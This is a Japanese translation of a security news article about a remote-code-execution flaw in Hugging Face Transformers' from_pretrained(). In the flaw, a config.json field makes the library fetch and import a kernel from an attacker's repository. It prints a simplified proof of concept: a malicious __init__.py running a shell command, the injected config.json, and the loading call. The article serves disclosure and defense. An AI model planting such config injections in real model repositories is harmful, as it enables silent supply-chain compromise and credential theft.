Hugging Face Transformersの深刻な脆弱性、リモートコード実行を可能に

Hugging Face Transformersに存在する深刻なセキュリティ脆弱性(CVE-2026-4372)により、悪意を持ったモデル設定を通じて、数百万ものマシンラーニングワークフローがサイレントなリモートコード実行(RCE)の危険にさらされていたことが明らかになりました。

Pluto SecurityのリサーカーであるYotam Perkalによって発見されたこの問題では、攻撃者が標準のfrom_pretrained() APIを通じて汚染されたモデルを読み込むよう被害者を誘導するだけで、任意のコードを実行できます。trust_remote_code=Trueの設定も、ユーザーの明示的な操作も一切不要です。

Hugging Face Transformersのセキュリティ上の欠陥

この脆弱性は、オプションのkernelsパッケージと組み合わせて使用する場合のTransformerバージョン4.56.0から5.2.xに影響します。脆弱なコードパスは2025年8月に導入され、2026年3月にバージョン5.3.0でパッチが適用されるまで、約6か月にわたって悪用可能な状態が続きました。

このライブラリは22億回を超えるインストール数と月間約1億4,600万ダウンロードという膨大な普及規模を持つことから、この脆弱性が存在した期間は、AIパイプライン、企業のMLシステム、研究環境にとって重大なサプライチェーンリスクをもたらすものでした。

問題の核心は、信頼されていない設定データの安全でないデシリアライゼーションにあります。モデルの読み込み時、ライブラリはconfig.jsonを処理し、Pythonのsetattr()を使用してすべてのキーと値のペアを動的に割り当てます。

Image

割り当て対象には、ユーザーが制御することを想定していない内部属性も含まれます。そのような属性の一つである_attn_implementation_internalは、どのアテンションカーネル実装を読み込むかを決定するものです。攻撃者がこのフィールドを制御できる場合、任意のPythonコードを含む悪意のあるHugging Faceリポジトリを指定することが可能になります。

攻撃チェーンが深刻化するのは、kernelsパッケージとの相互作用によるものです。_attn_implementation_internalの値が「owner/repo」のようなリポジトリパターンに一致する場合、ライブラリは対応するパッケージを自動的にダウンロードしてインポートします。

このインポートはサンドボックス化、署名検証、ユーザーへの警告を一切行わずに実行されるため、設定フィールドが実質的にコード実行の起点として機能することになります。

実際の攻撃シナリオでは、脅威アクターが注入フィールドを含む細工されたconfig.jsonを持つ悪意のあるモデルをアップロードします。被害者がAutoModelForCausalLM.from_pretrained(“attacker/model”)のような通常の呼び出しでモデルを読み込むと、ライブラリは初期化中に攻撃者のコードをサイレントにフェッチして実行します。

これはtrust_remote_codeが明示的に無効化されている場合でも発生するため、開発者や組織が依拠してきた中核的なセキュリティの前提が崩されることになります。

以下は、悪意のあるカーネルパッケージを通じてコード実行をトリガーする方法を示す簡略化された概念実証(PoC)です。

# Malicious __init__.py hosted in attacker-controlled HF repo
import os
def exploit():
    with open("/tmp/pwned.txt", "w") as f:
        f.write("System compromised\n")
    os.system("id > /tmp/user_info.txt")
exploit()

対応する悪意のあるconfig.jsonは以下のとおりです。

{
  "model_type": "llama",
  "_attn_implementation_internal": "attacker/malicious-kernel",
  "vocab_size": 32000
}

以下の呼び出しで読み込まれると:

from transformers import AutoModelForCausalLM
model = AutoModelForCausalLM.from_pretrained("attacker/malicious-model")

ペイロードが自動的に実行され、被害者のシステムに/tmp/pwned.txtなどの痕跡が残ります。

悪用が成功した場合、攻撃者はAWS認証情報、SSHキー、APIトークン、環境変数といった機密データを窃取できます。

さらに、永続化メカニズムの確立、クラウドインフラ内での横断移動、CI/CDパイプラインの侵害も可能になります。kernel依存関係が一般的にインストールされているGPU対応環境や企業のMLプラットフォームでは、リスクが特に深刻です。

セキュリティ研究者は、この脆弱性がPyTorchのweights_onlyバイパス(CVE-2025-32434)など、「セーフモード」がコード実行を防ぎきれなかった過去のMLエコシステムの欠陥と同様のパターンを示していると指摘しています。

これは、信頼されていないモデルアーティファクトを実行可能な入力ではなくデータとして扱うというAIフレームワーク共通の設計上の問題が繰り返されていることを浮き彫りにしています。

この問題はTransformerバージョン5.3.0で修正されました。パッチでは、設定ファイルを通じた安全でない内部属性の設定を防ぐ拒否リストが導入され、外部カーネルの読み込みにはtrust_remote_code=Trueが必須となりました。ユーザーは直ちにアップグレードし、機密性の高い環境では信頼されていないモデルの読み込みを避けることが強く推奨されます。

緩和策として、組織はすべてのモデル読み込み操作を潜在的なコード実行の攻撃面として扱い、サンドボックス化の徹底、アウトバウンドネットワークアクセスの制限、MLワークロードからの認証情報の分離を実施する必要があります。今回の事件は、機械学習のサプライチェーンが攻撃者にとって高価値の標的になりつつあるという現実を改めて示すものです。

翻訳元: https://gbhackers.com/hugging-face-transformers-security-flaw/

ソース: gbhackers.com